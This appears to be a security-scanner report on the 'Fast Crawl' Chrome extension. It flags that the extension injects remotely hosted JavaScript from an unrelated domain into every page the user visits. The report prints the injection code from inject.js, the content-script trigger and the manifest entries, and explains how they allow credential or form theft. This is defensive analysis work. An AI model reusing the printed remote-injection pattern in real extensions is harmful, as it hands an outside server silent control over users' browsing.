Fast Crawl

Fast Crawl

ID: jlbghamedkepgojmklfldebnomajbmhf

Supported Languages

🇨🇳Chinese (Simplified)

Extension Info & Metadata

Status
Active
Version
1.0.0
Size
0.08 MB
Rating
0.0/5
Reviews
0
Users
32
Type
Extension
Updated
Mar 5, 2025
Category
Developer tools
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Trusted
Author
MichaelView Profile
Country
FI
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Address
Pääskyntie 23 Alavieska 85200 FI
Website
Visit
Total Extensions
39
Active
29
Obsolete
10
Listed
33
Unlisted
6
Total Users
57,210
Screenshot 1

以客户端为端点快速抓取页面,并根据你的开发需求来解析出你想要的数据。

以客户端为端点快速抓取amazon产品详情的插件,通过开发人员二次开发接入并使用该功能。

Item
Type
Severity
Description
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation• 15% increase: Older manifest version lacks modern security controls
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2

Every page the user visits triggers injection of a remotely-hosted script from `api-pdd.kjsd.club`, a domain unrelated to the publisher. The `?t=<timestamp>` parameter busts the cache so fresh code is fetched on every page load, meaning the server operator can silently push arbitrary JavaScript onto all visited pages at any time. This grants the script full DOM access, network access, and the ability to steal credentials, capture form inputs, or exfiltrate page content without any further extension update.

js/inject.js (Line 28)
// 注入jsfunction FastCrawlInjectJs(jsUrl) {  if (!jsUrl) return;  var temp = FastCrawlCreateElement('script', {    type: 'text/javascript',    src: jsUrl,    defer: true,    onload: function() {      this.parentNode.removeChild(this);    }  });  FastCrawlAppendElement('head', temp);}FastCrawlInjectJs('https://api-pdd.kjsd.club/static/js/fast-crawl-helper.js?t=' + (new Date())  .getTime())

The content script unconditionally calls `injectCustomJs()` on every page load (across all URLs matched by `http://*/*` and `https://*/*`), which then loads `inject.js`, which loads the remote third-party script. The attack surface is every page the user browses, not just specific targets.

js/content-script.js (Line 113)
// 监听当前页面dom加载完毕document.addEventListener('DOMContentLoaded', function() {      // 开始注入      injectCustomJs();      // 监听后台消息      chrome.runtime.onMessage.addListener(function(packages, sender, sendResponse) {

The bundled manifest is MV2 and declares no permissions, while the published CWS listing shows MV3 with `storage` and `tabs` permissions. The bundled `web_accessible_resources` also directly references the external third-party URL (`api-pdd.kjsd.club`), which is abnormal and confirms the remote injection is intentional. This manifest discrepancy between the installed binary and the CWS listing is itself a strong indicator of deceptive submission practices.

manifest.json (Line 1)
{  "manifest_version": 2,  "permissions": [],  "web_accessible_resources": [    "/js/inject.js",    "https://api-pdd.kjsd.club/static/js/fast-crawl-helper.js"  ]}

By severity

Critical1
High2
Medium0
Low0

Versions scanned

Showing 1 of 15 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.0.03

Files with findings

3 distinct paths — top paths by unique finding count:

  • js/content-script.js1
  • js/inject.js1
  • manifest.json1
S.No.
Category
Severity
File
Summary
Found in Version
1Remote Code Loading
critical
js/inject.js (line 28)Every page the user visits triggers injection of a remotely-hosted script from `api-pdd.kjsd.club`, a domain unrelated to the publisher. The `?t=<timestamp>` parameter busts the cache so fresh code is fetched on every…
2Other
high
manifest.json (line 1)The bundled manifest is MV2 and declares no permissions, while the published CWS listing shows MV3 with `storage` and `tabs` permissions. The bundled `web_accessible_resources` also directly references the external th…
3Remote Code Loading
high
js/content-script.js (line 113)The content script unconditionally calls `injectCustomJs()` on every page load (across all URLs matched by `http://*/*` and `https://*/*`), which then loads `inject.js`, which loads the remote third-party script. The …
URLs
7
IPv4
1
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
*/*http://*/*
*/*https://*/*
api-pdd.kjsd.club/static/js/fast-crawl-helper.jshttps://api-pdd.kjsd.club/static/js/fast-crawl-helper.js
example.com/urihttps://example.com/uri
api-pdd.kjsd.club/static/js/fast-crawl-helper.jshttps://api-pdd.kjsd.club/static/js/fast-crawl-helper.js?t=
192.168.0.14/fast-crawl-helper.jshttp://192.168.0.14/fast-crawl-helper.js?t=

Gain full insight into all external connections.

Upgrade for full visibility.

192.168.0.14
IPv4
-
Version
Size
Is Malicious
Findings
Permhash
3.3.3
Latest
0.08 MB
Benign
3.3.2
0.08 MB
Benign
3.2.1
0.08 MB
Benign
3.1.1
0.08 MB
Benign
3.1.0
0.08 MB
Benign
2.1.0
0.08 MB
Benign
N/A
2.0.9
0.08 MB
Benign
N/A
1.0.9
0.04 MB
Benign
N/A
1.0.8
0.04 MB
Benign
N/A
1.0.6
0.04 MB
Benign
N/A
Showing 1 to 10 of 20 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.